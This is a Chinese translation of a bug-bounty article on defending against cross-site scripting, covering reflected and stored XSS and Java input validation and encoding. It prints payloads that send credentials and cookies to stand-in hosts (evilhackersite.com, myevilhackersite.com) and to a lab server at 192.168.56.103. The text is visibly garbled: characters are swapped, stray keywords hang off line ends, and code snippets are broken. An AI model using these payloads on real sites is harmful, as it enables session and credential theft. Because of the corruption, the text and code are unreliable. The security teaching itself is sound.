声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。php
文章来源:https://medium.com/bugbountywriteup/how-to-write-secure-code-b2757b59cd4b程序员
如何编写安全代码?保护本身免受跨站点脚本攻击!正则表达式
过去几个月我一直致力于安全代码实践,我一直在努力与社区讨论易于采用的方法。咱们天天看到的不安全代码的数量确实使人震惊,咱们都赞成“预防胜于治疗”。数据库
保持咱们的代码和应用程序安全的最佳方法是从一开始就正确编程。编写安全代码并不困难或复杂,只须要程序员知道在哪里包含安全检查。这是几行额外代码的问题,但仅此一项就能够抵御针对您的应用程序的大量攻击。编程
所以,这篇特别的文章“如何编写安全代码?”专一于跨站点脚本问题。浏览器
只要应用程序获取不受信任的数据并将其发送到Web浏览器而没有正确的验证和转义,就会发生跨站点脚本漏洞。XSS容许攻击者在受害者的浏览器中执行脚本,这些脚本可能会劫持用户会话,破坏网站或将用户重定向到恶意网站。安全
下面的代码是发生XSS攻击的示例之一,所采用的输入未通过清理,而且直接传递给参数。服务器
String firstNameParameter =(String)
request.getParameter(“firstName”);
用户输入的值当即存储在局部变量firstNameParameter中,而后在HTTP响应中将值发送到浏览器,而不进行任何输出编码。cookie
在本文中,我将介绍几种不一样类型的攻击和方法,即您天天面临的攻击和方法以及可用于防止它们的方法: 框架
它一次针对一名受害者进行追踪,当恶意负载传递给受害者而且他们最终点击恶意URL并让黑客访问他们的cookie和其余数据时,能够看到它在行动中。
这里是有效载荷的示例,若是受害者执行该攻击,则攻击者能够访问其详细信息。
https://mybank.com/submitForm.do?customer= <script> function + stealCredentials() { location.href =“ www.evilhackersite.com?name = document.myform.username.value &password = document.myform.pword .value“ } </ script> //整个脚本将做为url传递。 //它已被提出以加强可读性。
另外一个例子是咱们访问一个密码生成器的网页。乍一看,页面看起来不容易受到任何攻击,由于咱们所要作的就是按“生成密码”按钮。
咱们打开咱们的burp-suite并在咱们的代理选项卡中拦截请求。咱们将其发送到转发器选项卡以检查请求查询和相应的响应查询。下面的图像是咱们传递的第一个请求,咱们能够观察到咱们在请求查询中传递的用户名会反映在响应查询中。
如今咱们知道,用户名反映给咱们,咱们可使用咱们的有效负载注入值字段。如今惟一须要的是咱们如何设计有效负载,以便咱们能够按预期执行命令。
“; catch(e){} alert('inject'); try(a =”//咱们的有效载荷
上图显示了请求和附加有效负载的响应查询,彷佛已经成功。咱们对整个有效负载进行url编码,而后经过代理选项卡再次发送,并检查咱们在浏览器中收到的结果。
在代理选项卡中传递有效内容
正如预期的那样,咱们会收到一个警告框,该框显示在浏览器中,代表攻击有效负载已经起做用。
当代码被注入正在托管的服务器端程序时,就会发生此攻击。所以,每当用户导航到特定网页或连接时,他们就是存储的XSS攻击的受害者。
存储的XSS攻击能够按以下方式执行,若是页面上的图像以这样的方式注入:每当页面加载恶意脚本(以下所示)时加载而不是图片,而后抓取用户的cookie。
<script> newImage()。src =“ http://myevilhackersite.com/login.cgi?c= "+encodeURI(document.cookie ) ; </ script> //咱们的有效载荷
存储的XSS的另外一个例子以下:
在咱们旁边的登陆页面中,输入test做为用户名和密码。咱们所作的每件事都记录在日志数据库中。咱们能够继续检查日志数据库,在那里咱们能够看到注册了测试用户名的失败登陆尝试。所以,若是用户名没有被清理并直接保存在日志中,那么咱们能够利用它来发起存储的XSS攻击。
咱们在用户名字段中传递如下有效负载,以查看咱们是否可以执行XSS攻击。
<script> document.location =“ http://192.168.56.103/mutillidae/index.php?page=capture-data.php&c=”+ document.cookie </ script>
只要咱们在用户名框中传递咱们的有效负载并打开日志文件,咱们就能够清楚地看到cookie存储在那里,正如咱们所但愿的那样。
所以,如今每当有人打开日志文件时,他们的cookie值将被发送到capture-data.php页面,而后存储数据。
咱们已经详细讨论了如何利用咱们的代码在网站上执行恶意XSS攻击。咱们能够采起的步骤以下: -
而不是直接使用和接收参数“firstName”。
String firstNameParameter =(String)
request.getParameter(“firstName”);
private final String MY_DATAVALIDATION_WHITELIST =“[a-zA-Z] *”; public boolean mustPassWhiteListCheck(String clientSideParameter)抛出 WhiteListFailureException { boolean checkValue = false; checkValue = Pattern.matches(MY_DATAVALIDATION_WHITELIST,clientSideParameter); if(checkValue == false) { throw new WhiteListFailureException(“Possible Attack !!!”); } return checkValue; }
下面的代码是没有执行编码的代码。
System.out.println(“<HTML> <HEAD> <BODY> Hello +”+
request.getParameter(“firstName”)+“</ BODY> </ HTML>”);
如今咱们将对上面的代码进行小的修改,在输入被咱们的正则表达式杀菌剂消毒以后,咱们将把值传递给print语句。
System.out.println(“<HTML> <HEAD> <BODY> Hello +”+ Encoder()。
encodeForHTML(sanitisedFirstNameVariable)+“</ BODY> </ HTML>”);
至少咱们须要为这些值执行URL编码: -
a)HTML正文
b)HTML属性
c)URL
d)JavaScript
e)级联样式表
XSS是一种危险的攻击,能够自动搜索XSS。存储和反射的XSS可能会对应用程序形成严重损害。防止这些攻击的最基本方法之一是执行适当的输入验证和输出编码。正确实现这两个功能能够帮助咱们有效防护XSS攻击。